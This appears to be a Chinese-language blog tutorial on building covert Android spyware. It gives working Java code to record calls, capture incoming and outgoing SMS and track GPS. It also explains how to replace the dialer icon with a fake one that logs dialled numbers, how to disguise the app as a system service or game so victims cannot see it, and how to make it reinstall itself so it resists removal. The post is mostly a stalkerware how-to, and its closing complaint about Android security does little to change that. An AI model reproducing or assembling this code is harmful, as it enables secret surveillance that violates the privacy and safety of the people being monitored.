1. Android中如何監聽電話,並且錄音?
很簡單, 監聽到PHONE_STATE事件之後,就可以啟動錄音器,檢測到結束通話之後就可以保存錄音
一個比較頭疼的問題是如何監控撥號鍵盤的操作,知道撥的是什麼號碼。 撥號軟件上的鍵盤按鈕事件只能被撥號軟件進程本身讀取, 跨進程無法拿到數據。
但是有一個方法, 可以刪除掉HOME屏幕上的撥號app圖標, 然後放上一個偽裝的假圖標,點擊之後調用自己的模擬撥號器。
一部分核心代碼如下:
[java]
/* 取得電話服務 */
TelephonyManager telManager = (TelephonyManager) t.getSystemService(Context.TELEPHONY_SERVICE);
PhoneStateListener listener = new PhoneStateListener() {
private String number;//定義一個監聽電話號碼
private boolean isRecord;//定義一個當前是否正在復制的標志
private MediaRecorder recorder;//媒體復制類
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:/* 無任何狀態 */
number = null;
if (recorder != null && isRecord) {
Log.i(TAG, "錄音完成");//設定一個錄音完成的標志,方便調試
recorder.stop();//錄音完成
recorder.reset();
recorder.release();
isRecord = false;//錄音完成,改變狀態標志
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起電話 */
// 錄制聲音,這是錄音的核心代碼
try {
Log.i(TAG, "開始錄音");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定義聲音來自於麥克風
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我們定義存儲格式為3gp
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我編碼
SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此處定義一個format類,方便對錄音文件進行命名
String fileName = this.number + "_" + format.format(new Date());
/* 定義錄音文件的輸出路徑,這裡我們先保存到sdcard */
recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp");
recorder.prepare();
recorder.start(); // 開始刻錄
isRecord = true;
} catch (Exception e) {
Log.e(TAG, e.toString());
}
break;
case TelephonyManager.CALL_STATE_RINGING:/* 電話進來 */
Log.i(TAG, "電話進來咯");
this.number = incomingNumber;
break;
default:
break;
}
}
};
// 監聽電話的狀態
telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
2. Android中如何監聽SMS?
接受到SMS會觸發SMS_RECVIER的廣播,寫一個接收器就可以截取
核心代碼如下:
[java]
public void checkRecSMS(Intent intent) {
Log.i("xxxxxx", "有一條新信息");
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
// 不知道為什麼明明只有一條消息,傳過來的卻是數組,也許是為了處理同時同分同秒同毫秒收到多條短信
// 但這個概率有點小
SmsMessage[] message = new SmsMessage[pdus.length];
StringBuilder sb = new StringBuilder();
System.out.println("pdus長度" + pdus.length);
for (int i = 0; i < pdus.length; i++) {
// 雖然是循環,其實pdus長度一般都是1
message[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
sb.append("接收到短信來自:\n");
sb.append(message[i].getDisplayOriginatingAddress() + "\n");
sb.append("內容:" + message[i].getDisplayMessageBody());
}
Log.i("xxxxxx", "Receiver:" + sb.toString());
}
發送出去的SMS不會觸發廣播事件,所以只能後台啟動一個thread不停的掃描短信數據庫
這個thread可以做成單例模式
核心代碼如下:
[java]
public void checkSendSMS(final Context t) {
new Thread(new Runnable(){
@Override
public void run() {
while(true){
Cursor cursor = t.getContentResolver().query(
Uri.parse("content://sms/outbox"), null, null, null, null);
if (cursor.moveToFirst()) {
outPutSMS("Send Msg: ",
cursor.getString(cursor.getColumnIndex("address")),
cursor.getString(cursor.getColumnIndex("subject")),
cursor.getString(cursor.getColumnIndex("body")),
cursor.getString(cursor.getColumnIndex("date")));
}
if (cursor != null) {
cursor.close();
cursor = null;
}
//改用C端進程輪詢"/data/data/包名"目錄是否存在
//參考http://www.cnblogs.com/zealotrouge/p/3157126.html
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}).start();
}
3. 寫一個接收器,統合接受所有的廣播事件,並且調用監控程序
在AndroidMainfest.xml中的定義
[html]
<receiver android:name="com.googlemointor.listener.BootReceiver" >
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.location.GPS_ENABLED_CHANGE" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="com.android.providers.telephony.permission.ACCESS_PRIVATE_MESSAGE" />
<action android:name="android.permission.SEND_SMS" />
<action android:name="android.permission.WRITE_SMS" />
<action android:name="android.permission.BROADCAST_SMS" />
<action android:name="android.permission.READ_SMS" />
<action android:name="android.permission.RECEIVE_MMS" />
<action android:name="android.permission.RECEIVE_SMS" />
<action android:name="android.provider.Telephony.SMS_REJECTED" />
</intent-filter>
</receiver>
核心代碼如下:
[java]
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//啟動短信監聽
if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED"))
{
SmsInfo.getSmsInfo(context).checkRecSMS(intent);
}
//啟動電話監聽
if(intent.getAction().equals("android.intent.action.PHONE_STATE")){
PhoneCallInfo.lisCall(context);
}
//啟動GPS監聽
if(intent.getAction().equals("android.location.GPS_ENABLED_CHANGE")){
new GpsInfo().checkGPS(context);
}
}
}
4. 如何讓該app不被察覺,低調入侵
修改packagename, icon 冒充成系統服務,或者外面加個游戲app的殼子
把Activity, lauer_mode去掉, app安裝好之後也無法 在手機裡看到這個玩意
5. 如何防止app被強制卸載
app啟動之後先把安裝目錄文件全部備份到SD卡裡
用C fork一個子進程, 子進程定時掃描app的安裝目錄, 如果發現app安裝文件丟失了, 就把之前備份的安裝目錄全部復原回去
6. 總結
這些所有的代碼,網上都能找到, 我只能說, Android的安全體系做的太成問題了。